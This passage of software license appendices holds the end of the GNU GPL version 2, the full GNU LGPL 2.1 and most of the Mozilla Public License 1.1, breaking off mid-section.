distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Program at all.  For example, if a patent
license would not permit royalty-free redistribution of the Program by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Program.

If any portion of this section is held invalid or unenforceable under
any particular circumstance, the balance of the section is intended to
apply and the section as a whole is intended to apply in other
circumstances.

It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system, which is
implemented by public license practices.  Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.

This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.

  8. If the distribution and/or use of the Program is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Program under this License
may add an explicit geographical distribution limitation excluding
those countries, so that distribution is permitted only in or among
countries not thus excluded.  In such case, this License incorporates
the limitation as if written in the body of this License.

  9. The Free Software Foundation may publish revised and/or new versions
of the General Public License from time to time.  Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.

Each version is given a distinguishing version number.  If the Program
specifies a version number of this License which applies to it and "any
later version", you have the option of following the terms and conditions
either of that version or of any later version published by the Free
Software Foundation.  If the Program does not specify a version number of
this License, you may choose any version ever published by the Free Software
Foundation.

  10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
to ask for permission.  For software which is copyrighted by the Free
Software Foundation, write to the Free Software Foundation; we sometimes
make exceptions for this.  Our decision will be guided by the two goals
of preserving the free status of all derivatives of our free software and
of promoting the sharing and reuse of software generally.

NO WARRANTY

  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
REPAIR OR CORRECTION.

  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.

END OF TERMS AND CONDITIONS


Appendix B: The LGPL License
----------------------------

GNU LESSER GENERAL PUBLIC LICENSE
Version 2.1, February 1999

 Copyright (C) 1991, 1999 Free Software Foundation, Inc.
     59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.

[This is the first released version of the Lesser GPL.  It also counts
 as the successor of the GNU Library Public License, version 2, hence
 the version number 2.1.]

Preamble

  The licenses for most software are designed to take away your
freedom to share and change it.  By contrast, the GNU General Public
Licenses are intended to guarantee your freedom to share and change
free software-to make sure the software is free for all its users.

  This license, the Lesser General Public License, applies to some
specially designated software packages-typically libraries-of the
Free Software Foundation and other authors who decide to use it.  You
can use it too, but we suggest you first think carefully about whether
this license or the ordinary General Public License is the better
strategy to use in any particular case, based on the explanations below.

  When we speak of free software, we are referring to freedom of use,
not price.  Our General Public Licenses are designed to make sure that
you have the freedom to distribute copies of free software (and charge
for this service if you wish); that you receive source code or can get
it if you want it; that you can change the software and use pieces of
it in new free programs; and that you are informed that you can do
these things.

  To protect your rights, we need to make restrictions that forbid
distributors to deny you these rights or to ask you to surrender these
rights.  These restrictions translate to certain responsibilities for
you if you distribute copies of the library or if you modify it.

  For example, if you distribute copies of the library, whether gratis
or for a fee, you must give the recipients all the rights that we gave
you.  You must make sure that they, too, receive or can get the source
code.  If you link other code with the library, you must provide
complete object files to the recipients, so that they can relink them
with the library after making changes to the library and recompiling
it.  And you must show them these terms so they know their rights.

  We protect your rights with a two-step method: (1) we copyright the
library, and (2) we offer you this license, which gives you legal
permission to copy, distribute and/or modify the library.

  To protect each distributor, we want to make it very clear that
there is no warranty for the free library.  Also, if the library is
modified by someone else and passed on, the recipients should know
that what they have is not the original version, so that the original
author's reputation will not be affected by problems that might be
introduced by others.

  Finally, software patents pose a constant threat to the existence of
any free program.  We wish to make sure that a company cannot
effectively restrict the users of a free program by obtaining a
restrictive license from a patent holder.  Therefore, we insist that
any patent license obtained for a version of the library must be
consistent with the full freedom of use specified in this license.

  Most GNU software, including some libraries, is covered by the
ordinary GNU General Public License.  This license, the GNU Lesser
General Public License, applies to certain designated libraries, and
is quite different from the ordinary General Public License.  We use
this license for certain libraries in order to permit linking those
libraries into non-free programs.

  When a program is linked with a library, whether statically or using
a shared library, the combination of the two is legally speaking a
combined work, a derivative of the original library.  The ordinary
General Public License therefore permits such linking only if the
entire combination fits its criteria of freedom.  The Lesser General
Public License permits more lax criteria for linking other code with
the library.

  We call this license the "Lesser" General Public License because it
does Less to protect the user's freedom than the ordinary General
Public License.  It also provides other free software developers Less
of an advantage over competing non-free programs.  These disadvantages
are the reason we use the ordinary General Public License for many
libraries.  However, the Lesser license provides advantages in certain
special circumstances.

  For example, on rare occasions, there may be a special need to
encourage the widest possible use of a certain library, so that it becomes
a de-facto standard.  To achieve this, non-free programs must be
allowed to use the library.  A more frequent case is that a free
library does the same job as widely used non-free libraries.  In this
case, there is little to gain by limiting the free library to free
software only, so we use the Lesser General Public License.

  In other cases, permission to use a particular library in non-free
programs enables a greater number of people to use a large body of
free software.  For example, permission to use the GNU C Library in
non-free programs enables many more people to use the whole GNU
operating system, as well as its variant, the GNU/Linux operating
system.

  Although the Lesser General Public License is Less protective of the
users' freedom, it does ensure that the user of a program that is
linked with the Library has the freedom and the wherewithal to run
that program using a modified version of the Library.

  The precise terms and conditions for copying, distribution and
modification follow.  Pay close attention to the difference between a
"work based on the library" and a "work that uses the library".  The
former contains code derived from the library, whereas the latter must
be combined with the library in order to run.

GNU LESSER GENERAL PUBLIC LICENSE
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION

  0. This License Agreement applies to any software library or other
program which contains a notice placed by the copyright holder or
other authorized party saying it may be distributed under the terms of
this Lesser General Public License (also called "this License").
Each licensee is addressed as "you".

  A "library" means a collection of software functions and/or data
prepared so as to be conveniently linked with application programs
(which use some of those functions and data) to form executables.

  The "Library", below, refers to any such software library or work
which has been distributed under these terms.  A "work based on the
Library" means either the Library or any derivative work under
copyright law: that is to say, a work containing the Library or a
portion of it, either verbatim or with modifications and/or translated
straightforwardly into another language.  (Hereinafter, translation is
included without limitation in the term "modification".)

  "Source code" for a work means the preferred form of the work for
making modifications to it.  For a library, complete source code means
all the source code for all modules it contains, plus any associated
interface definition files, plus the scripts used to control compilation
and installation of the library.

  Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope.  The act of
running a program using the Library is not restricted, and output from
such a program is covered only if its contents constitute a work based
on the Library (independent of the use of the Library in a tool for
writing it).  Whether that is true depends on what the Library does
and what the program that uses the Library does.

  1. You may copy and distribute verbatim copies of the Library's
complete source code as you receive it, in any medium, provided that
you conspicuously and appropriately publish on each copy an
appropriate copyright notice and disclaimer of warranty; keep intact
all the notices that refer to this License and to the absence of any
warranty; and distribute a copy of this License along with the
Library.

  You may charge a fee for the physical act of transferring a copy,
and you may at your option offer warranty protection in exchange for a
fee.

  2. You may modify your copy or copies of the Library or any portion
of it, thus forming a work based on the Library, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:

    a) The modified work must itself be a software library.

    b) You must cause the files modified to carry prominent notices
    stating that you changed the files and the date of any change.

    c) You must cause the whole of the work to be licensed at no
    charge to all third parties under the terms of this License.

    d) If a facility in the modified Library refers to a function or a
    table of data to be supplied by an application program that uses
    the facility, other than as an argument passed when the facility
    is invoked, then you must make a good faith effort to ensure that,
    in the event an application does not supply such function or
    table, the facility still operates, and performs whatever part of
    its purpose remains meaningful.

    (For example, a function in a library to compute square roots has
    a purpose that is entirely well-defined independent of the
    application.  Therefore, Subsection 2d requires that any
    application-supplied function or table used by this function must
    be optional: if the application does not supply it, the square
    root function must still compute square roots.)

These requirements apply to the modified work as a whole.  If
identifiable sections of that work are not derived from the Library,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works.  But when you
distribute the same sections as part of a whole which is a work based
on the Library, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote
it.

Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Library.

In addition, mere aggregation of another work not based on the Library
with the Library (or with a work based on the Library) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.

  3. You may opt to apply the terms of the ordinary GNU General Public
License instead of this License to a given copy of the Library.  To do
this, you must alter all the notices that refer to this License, so
that they refer to the ordinary GNU General Public License, version 2,
instead of to this License.  (If a newer version than version 2 of the
ordinary GNU General Public License has appeared, then you can specify
that version instead if you wish.)  Do not make any other change in
these notices.

  Once this change is made in a given copy, it is irreversible for
that copy, so the ordinary GNU General Public License applies to all
subsequent copies and derivative works made from that copy.

  This option is useful when you wish to copy part of the code of
the Library into a program that is not a library.

  4. You may copy and distribute the Library (or a portion or
derivative of it, under Section 2) in object code or executable form
under the terms of Sections 1 and 2 above provided that you accompany
it with the complete corresponding machine-readable source code, which
must be distributed under the terms of Sections 1 and 2 above on a
medium customarily used for software interchange.

  If distribution of object code is made by offering access to copy
from a designated place, then offering equivalent access to copy the
source code from the same place satisfies the requirement to
distribute the source code, even though third parties are not
compelled to copy the source along with the object code.

  5. A program that contains no derivative of any portion of the
Library, but is designed to work with the Library by being compiled or
linked with it, is called a "work that uses the Library".  Such a
work, in isolation, is not a derivative work of the Library, and
therefore falls outside the scope of this License.

  However, linking a "work that uses the Library" with the Library
creates an executable that is a derivative of the Library (because it
contains portions of the Library), rather than a "work that uses the
library".  The executable is therefore covered by this License.
Section 6 states terms for distribution of such executables.

  When a "work that uses the Library" uses material from a header file
that is part of the Library, the object code for the work may be a
derivative work of the Library even though the source code is not.
Whether this is true is especially significant if the work can be
linked without the Library, or if the work is itself a library.  The
threshold for this to be true is not precisely defined by law.

  If such an object file uses only numerical parameters, data
structure layouts and accessors, and small macros and small inline
functions (ten lines or less in length), then the use of the object
file is unrestricted, regardless of whether it is legally a derivative
work.  (Executables containing this object code plus portions of the
Library will still fall under Section 6.)

  Otherwise, if the work is a derivative of the Library, you may
distribute the object code for the work under the terms of Section 6.
Any executables containing that work also fall under Section 6,
whether or not they are linked directly with the Library itself.

  6. As an exception to the Sections above, you may also combine or
link a "work that uses the Library" with the Library to produce a
work containing portions of the Library, and distribute that work
under terms of your choice, provided that the terms permit
modification of the work for the customer's own use and reverse
engineering for debugging such modifications.

  You must give prominent notice with each copy of the work that the
Library is used in it and that the Library and its use are covered by
this License.  You must supply a copy of this License.  If the work
during execution displays copyright notices, you must include the
copyright notice for the Library among them, as well as a reference
directing the user to the copy of this License.  Also, you must do one
of these things:

    a) Accompany the work with the complete corresponding
    machine-readable source code for the Library including whatever
    changes were used in the work (which must be distributed under
    Sections 1 and 2 above); and, if the work is an executable linked
    with the Library, with the complete machine-readable "work that
    uses the Library", as object code and/or source code, so that the
    user can modify the Library and then relink to produce a modified
    executable containing the modified Library.  (It is understood
    that the user who changes the contents of definitions files in the
    Library will not necessarily be able to recompile the application
    to use the modified definitions.)

    b) Use a suitable shared library mechanism for linking with the
    Library.  A suitable mechanism is one that (1) uses at run time a
    copy of the library already present on the user's computer system,
    rather than copying library functions into the executable, and (2)
    will operate properly with a modified version of the library, if
    the user installs one, as long as the modified version is
    interface-compatible with the version that the work was made with.

    c) Accompany the work with a written offer, valid for at
    least three years, to give the same user the materials
    specified in Subsection 6a, above, for a charge no more
    than the cost of performing this distribution.

    d) If distribution of the work is made by offering access to copy
    from a designated place, offer equivalent access to copy the above
    specified materials from the same place.

    e) Verify that the user has already received a copy of these
    materials or that you have already sent this user a copy.

  For an executable, the required form of the "work that uses the
Library" must include any data and utility programs needed for
reproducing the executable from it.  However, as a special exception,
the materials to be distributed need not include anything that is
normally distributed (in either source or binary form) with the major
components (compiler, kernel, and so on) of the operating system on
which the executable runs, unless that component itself accompanies
the executable.

  It may happen that this requirement contradicts the license
restrictions of other proprietary libraries that do not normally
accompany the operating system.  Such a contradiction means you cannot
use both them and the Library together in an executable that you
distribute.

  7. You may place library facilities that are a work based on the
Library side-by-side in a single library together with other library
facilities not covered by this License, and distribute such a combined
library, provided that the separate distribution of the work based on
the Library and of the other library facilities is otherwise
permitted, and provided that you do these two things:

    a) Accompany the combined library with a copy of the same work
    based on the Library, uncombined with any other library
    facilities.  This must be distributed under the terms of the
    Sections above.

    b) Give prominent notice with the combined library of the fact
    that part of it is a work based on the Library, and explaining
    where to find the accompanying uncombined form of the same work.

  8. You may not copy, modify, sublicense, link with, or distribute
the Library except as expressly provided under this License.  Any
attempt otherwise to copy, modify, sublicense, link with, or
distribute the Library is void, and will automatically terminate your
rights under this License.  However, parties who have received copies,
or rights, from you under this License will not have their licenses
terminated so long as such parties remain in full compliance.

  9. You are not required to accept this License, since you have not
signed it.  However, nothing else grants you permission to modify or
distribute the Library or its derivative works.  These actions are
prohibited by law if you do not accept this License.  Therefore, by
modifying or distributing the Library (or any work based on the
Library), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Library or works based on it.

  10. Each time you redistribute the Library (or any work based on the
Library), the recipient automatically receives a license from the
original licensor to copy, distribute, link with or modify the Library
subject to these terms and conditions.  You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties with
this License.

  11. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License.  If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Library at all.  For example, if a patent
license would not permit royalty-free redistribution of the Library by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Library.

If any portion of this section is held invalid or unenforceable under any
particular circumstance, the balance of the section is intended to apply,
and the section as a whole is intended to apply in other circumstances.

It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system which is
implemented by public license practices.  Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.

This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.

  12. If the distribution and/or use of the Library is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Library under this License may add
an explicit geographical distribution limitation excluding those countries,
so that distribution is permitted only in or among countries not thus
excluded.  In such case, this License incorporates the limitation as if
written in the body of this License.

  13. The Free Software Foundation may publish revised and/or new
versions of the Lesser General Public License from time to time.
Such new versions will be similar in spirit to the present version,
but may differ in detail to address new problems or concerns.

Each version is given a distinguishing version number.  If the Library
specifies a version number of this License which applies to it and
"any later version", you have the option of following the terms and
conditions either of that version or of any later version published by
the Free Software Foundation.  If the Library does not specify a
license version number, you may choose any version ever published by
the Free Software Foundation.

  14. If you wish to incorporate parts of the Library into other free
programs whose distribution conditions are incompatible with these,
write to the author to ask for permission.  For software which is
copyrighted by the Free Software Foundation, write to the Free
Software Foundation; we sometimes make exceptions for this.  Our
decision will be guided by the two goals of preserving the free status
of all derivatives of our free software and of promoting the sharing
and reuse of software generally.

NO WARRANTY

  15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO
WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW.
EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR
OTHER PARTIES PROVIDE THE LIBRARY "AS IS" WITHOUT WARRANTY OF ANY
KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE
LIBRARY IS WITH YOU.  SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME
THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.

  16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN
WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY
AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU
FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR
CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE
LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING
RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A
FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF
SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH
DAMAGES.

END OF TERMS AND CONDITIONS


Appendix C: The MPL License
---------------------------

MOZILLA PUBLIC LICENSE
Version 1.1

1. Definitions.

     1.0.1. "Commercial Use" means distribution or otherwise making the
     Covered Code available to a third party.

     1.1. "Contributor" means each entity that creates or contributes to
     the creation of Modifications.

     1.2. "Contributor Version" means the combination of the Original
     Code, prior Modifications used by a Contributor, and the Modifications
     made by that particular Contributor.

     1.3. "Covered Code" means the Original Code or Modifications or the
     combination of the Original Code and Modifications, in each case
     including portions thereof.

     1.4. "Electronic Distribution Mechanism" means a mechanism generally
     accepted in the software development community for the electronic
     transfer of data.

     1.5. "Executable" means Covered Code in any form other than Source
     Code.

     1.6. "Initial Developer" means the individual or entity identified
     as the Initial Developer in the Source Code notice required by Exhibit
     A.

     1.7. "Larger Work" means a work which combines Covered Code or
     portions thereof with code not governed by the terms of this License.

     1.8. "License" means this document.

     1.8.1. "Licensable" means having the right to grant, to the maximum
     extent possible, whether at the time of the initial grant or
     subsequently acquired, any and all of the rights conveyed herein.

     1.9. "Modifications" means any addition to or deletion from the
     substance or structure of either the Original Code or any previous
     Modifications. When Covered Code is released as a series of files, a
     Modification is:
          A. Any addition to or deletion from the contents of a file
          containing Original Code or previous Modifications.

          B. Any new file that contains any part of the Original Code or
          previous Modifications.

     1.10. "Original Code" means Source Code of computer software code
     which is described in the Source Code notice required by Exhibit A as
     Original Code, and which, at the time of its release under this
     License is not already Covered Code governed by this License.

     1.10.1. "Patent Claims" means any patent claim(s), now owned or
     hereafter acquired, including without limitation,  method, process,
     and apparatus claims, in any patent Licensable by grantor.

     1.11. "Source Code" means the preferred form of the Covered Code for
     making modifications to it, including all modules it contains, plus
     any associated interface definition files, scripts used to control
     compilation and installation of an Executable, or source code
     differential comparisons against either the Original Code or another
     well known, available Covered Code of the Contributor's choice. The
     Source Code can be in a compressed or archival form, provided the
     appropriate decompression or de-archiving software is widely available
     for no charge.

     1.12. "You" (or "Your")  means an individual or a legal entity
     exercising rights under, and complying with all of the terms of, this
     License or a future version of this License issued under Section 6.1.
     For legal entities, "You" includes any entity which controls, is
     controlled by, or is under common control with You. For purposes of
     this definition, "control" means (a) the power, direct or indirect,
     to cause the direction or management of such entity, whether by
     contract or otherwise, or (b) ownership of more than fifty percent
     (50%) of the outstanding shares or beneficial ownership of such
     entity.

2. Source Code License.

     2.1. The Initial Developer Grant.
     The Initial Developer hereby grants You a world-wide, royalty-free,
     non-exclusive license, subject to third party intellectual property
     claims:
          (a)  under intellectual property rights (other than patent or
          trademark) Licensable by Initial Developer to use, reproduce,
          modify, display, perform, sublicense and distribute the Original
          Code (or portions thereof) with or without Modifications, and/or
          as part of a Larger Work; and

          (b) under Patents Claims infringed by the making, using or
          selling of Original Code, to make, have made, use, practice,
          sell, and offer for sale, and/or otherwise dispose of the
          Original Code (or portions thereof).

          (c) the licenses granted in this Section 2.1(a) and (b) are
          effective on the date Initial Developer first distributes
          Original Code under the terms of this License.

          (d) Notwithstanding Section 2.1(b) above, no patent license is
          granted: 1) for code that You delete from the Original Code; 2)
          separate from the Original Code;  or 3) for infringements caused
          by: i) the modification of the Original Code or ii) the
          combination of the Original Code with other software or devices.

     2.2. Contributor Grant.
     Subject to third party intellectual property claims, each Contributor
     hereby grants You a world-wide, royalty-free, non-exclusive license

          (a)  under intellectual property rights (other than patent or
          trademark) Licensable by Contributor, to use, reproduce, modify,
          display, perform, sublicense and distribute the Modifications
          created by such Contributor (or portions thereof) either on an
          unmodified basis, with other Modifications, as Covered Code
          and/or as part of a Larger Work; and

          (b) under Patent Claims infringed by the making, using, or
          selling of  Modifications made by that Contributor either alone
          and/or in combination with its Contributor Version (or portions
          of such combination), to make, use, sell, offer for sale, have
          made, and/or otherwise dispose of: 1) Modifications made by that
          Contributor (or portions thereof); and 2) the combination of
          Modifications made by that Contributor with its Contributor
          Version (or portions of such combination).

          (c) the licenses granted in Sections 2.2(a) and 2.2(b) are
          effective on the date Contributor first makes Commercial Use of
          the Covered Code.

          (d)    Notwithstanding Section 2.2(b) above, no patent license is
          granted: 1) for any code that Contributor has deleted from the
          Contributor Version; 2)  separate from the Contributor Version;
          3)  for infringements caused by: i) third party modifications of
          Contributor Version or ii)  the combination of Modifications made
          by that Contributor with other software  (except as part of the
          Contributor Version) or other devices; or 4) under Patent Claims
          infringed by Covered Code in the absence of Modifications made by
          that Contributor.

3. Distribution Obligations.

     3.1. Application of License.
     The Modifications which You create or to which You contribute are
     governed by the terms of this License, including without limitation
     Section 2.2. The Source Code version of Covered Code may be
     distributed only under the terms of this License or a future version
     of this License released under Section 6.1, and You must include a
     copy of this License with every copy of the Source Code You
     distribute. You may not offer or impose any terms on any Source Code
     version that alters or restricts the applicable version of this
     License or the recipients' rights hereunder. However, You may include
     an additional document offering the additional rights described in
     Section 3.5.

     3.2. Availability of Source Code.
     Any Modification which You create or to which You contribute must be
     made available in Source Code form under the terms of this License
     either on the same media as an Executable version or via an accepted
     Electronic Distribution Mechanism to anyone to whom you made an
     Executable version available; and if made available via Electronic
     Distribution Mechanism, must remain available for at least twelve (12)
     months after the date it initially became available, or at least six
     (6) months after a subsequent version of that particular Modification
     has been made available to such recipients. You are responsible for
     ensuring that the Source Code version remains available even if the
     Electronic Distribution Mechanism is maintained by a third party.

     3.3. Description of Modifications.
     You must cause all Covered Code to which You contribute to contain a
     file documenting the changes You made to create that Covered Code and
     the date of any change. You must include a prominent statement that
     the Modification is derived, directly or indirectly, from Original
     Code provided by the Initial Developer and including the name of the
     Initial Developer in (a) the Source Code, and (b) in any notice in an
     Executable version or related documentation in which You describe the
     origin or ownership of the Covered Code.

     3.4. Intellectual Property Matters
          (a) Third Party Claims.
          If Contributor has knowledge that a license under a third party's
          intellectual property rights is required to exercise the rights
          granted by such Contributor under Sections 2.1 or 2.2,
          Contributor must include a text file with the Source Code
          distribution titled "LEGAL" which describes the claim and the
          party making the claim in sufficient detail that a recipient will
          know whom to contact. If Contributor obtains such knowledge after
          the Modification is made available as described in Section 3.2,
          Contributor shall promptly modify the LEGAL file in all copies
          Contributor makes available thereafter and shall take other steps
          (such as notifying appropriate mailing lists or newsgroups)
          reasonably calculated to inform those who received the Covered
          Code that new knowledge has been obtained.

          (b) Contributor APIs.
          If Contributor's Modifications include an application programming
          interface and Contributor has knowledge of patent licenses which
          are reasonably necessary to implement that API, Contributor must
          also include this information in the LEGAL file.

               (c)    Representations.
          Contributor represents that, except as disclosed pursuant to
          Section 3.4(a) above, Contributor believes that Contributor's
          Modifications are Contributor's original creation(s) and/or
          Contributor has sufficient rights to grant the rights conveyed by
          this License.

     3.5. Required Notices.
     You must duplicate the notice in Exhibit A in each file of the Source
     Code.  If it is not possible to put such notice in a particular Source
     Code file due to its structure, then You must include such notice in a
     location (such as a relevant directory) where a user would be likely
     to look for such a notice.  If You created one or more Modification(s)
     You may add your name as a Contributor to the notice described in
     Exhibit A.  You must also duplicate this License in any documentation
     for the Source Code where You describe recipients' rights or ownership
     rights relating to Covered Code.  You may choose to offer, and to
     charge a fee for, warranty, support, indemnity or liability
     obligations to one or more recipients of Covered Code. However, You
     may do so only on Your own behalf, and not on behalf of the Initial
     Developer or any Contributor. You must make it absolutely clear than
     any such warranty, support, indemnity or liability obligation is
     offered by You alone, and You hereby agree to indemnify the Initial
     Developer and every Contributor for any liability incurred by the
     Initial Developer or such Contributor as a result of warranty,
     support, indemnity or liability terms You offer.

     3.6. Distribution of Executable Versions.
     You may distribute Covered Code in Executable form only if the
     requirements of Section 3.1-3.5 have been met for that Covered Code,
     and if You include a notice stating that the Source Code version of
     the Covered Code is available under the terms of this License,
     including a description of how and where You have fulfilled the
     obligations of Section 3.2. The notice must be conspicuously included
     in any notice in an Executable version, related documentation or
     collateral in which You describe recipients' rights relating to the
     Covered Code. You may distribute the Executable version of Covered
     Code or ownership rights under a license of Your choice, which may
     contain terms different from this License, provided that You are in
     compliance with the terms of this License and that the license for the
     Executable version does not attempt to limit or alter the recipient's
     rights in the Source Code version from the rights set forth in this
     License. If You distribute the Executable version under a different
     license You must make it absolutely clear that any terms which differ
     from this License are offered by You alone, not by the Initial
     Developer or any Contributor. You hereby agree to indemnify the
     Initial Developer and every Contributor for any liability incurred by
     the Initial Developer or such Contributor as a result of any such
     terms You offer.

     3.7. Larger Works.
     You may create a Larger Work by combining Covered Code with other code
     not governed by the terms of this License and distribute the Larger
     Work as a single product. In such a case, You must make sure the
     requirements of this License are fulfilled for the Covered Code.

4. Inability to Comply Due to Statute or Regulation.

     If it is impossible for You to comply with any of the terms of this
     License with respect to some or all of the Covered Code due to
     statute, judicial order, or regulation then You must: (a) comply with
     the terms of this License to the maximum extent possible; and (b)
     describe the limitations and the code they affect. Such description
     must be included in the LEGAL file described in Section 3.4 and must
     be included with all distributions of the Source Code. Except to the
     extent prohibited by statute or regulation, such description must be
     sufficiently detailed for a recipient of ordinary skill to be able to
     understand it.

5. Application of this License.

     This License applies to code to which the Initial Developer has
     attached the notice in Exhibit A and to related Covered Code.

6. Versions of the License.

     6.1. New Versions.
     Netscape Communications Corporation ("Netscape") may publish revised
     and/or new versions of the License from time to time. Each version
     will be given a distinguishing version number.

     6.2. Effect of New Versions.
     Once Covered Code has been published under a particular version of the
     License, You may always continue to use it under the terms of that
     version. You may also choose to use such Covered Code under the terms
     of any subsequent version of the License published by Netscape. No one
     other than Netscape has the right to modify the terms applicable to
     Covered Code created under this License.

     6.3. Derivative Works.
     If You create or use a modified version of this License (which you may
     only do in order to apply it to code which is not already Covered Code
     governed by this License), You must (a) rename Your license so that
     the phrases "Mozilla", "MOZILLAPL", "MOZPL", "Netscape",
     "MPL", "NPL" or any confusingly similar phrase do not appear in your
     license (except to note that your license differs from this License)
     and (b) otherwise make it clear that Your version of the license
     contains terms which differ from the Mozilla Public License and
     Netscape Public License. (Filling in the name of the Initial
     Developer, Original Code or Contributor in the notice described in
     Exhibit A shall not of themselves be deemed to be modifications of
     this License.)

7. DISCLAIMER OF WARRANTY.

     COVERED CODE IS PROVIDED UNDER THIS LICENSE ON AN "AS IS" BASIS,
     WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,
     WITHOUT LIMITATION, WARRANTIES THAT THE COVERED CODE IS FREE OF
     DEFECTS, MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE OR NON-INFRINGING.
     THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE COVERED CODE
     IS WITH YOU. SHOULD ANY COVERED CODE PROVE DEFECTIVE IN ANY RESPECT,
     YOU (NOT THE INITIAL DEVELOPER OR ANY OTHER CONTRIBUTOR) ASSUME THE
     COST OF ANY NECESSARY SERVICING, REPAIR OR CORRECTION. THIS DISCLAIMER
     OF WARRANTY CONSTITUTES AN ESSENTIAL PART OF THIS LICENSE. NO USE OF
     ANY COVERED CODE IS AUTHORIZED HEREUNDER EXCEPT UNDER THIS DISCLAIMER.

8. TERMINATION.

     8.1.  This License and the rights granted hereunder will terminate
     automatically if You fail to comply with terms herein and fail to cure
     such breach within 30 days of becoming aware of the breach. All
     sublicenses to the Covered Code which are properly granted shall
     survive any termination of this License. Provisions which, by their
     nature, must remain in effect beyond the termination of this License
     shall survive.

     8.2.  If You initiate litigation by asserting a patent infringement
     claim (excluding declatory judgment actions) against Initial Developer
     or a Contributor (the Initial Developer or Contributor against whom
     You file such action is referred to as "Participant")  alleging that:

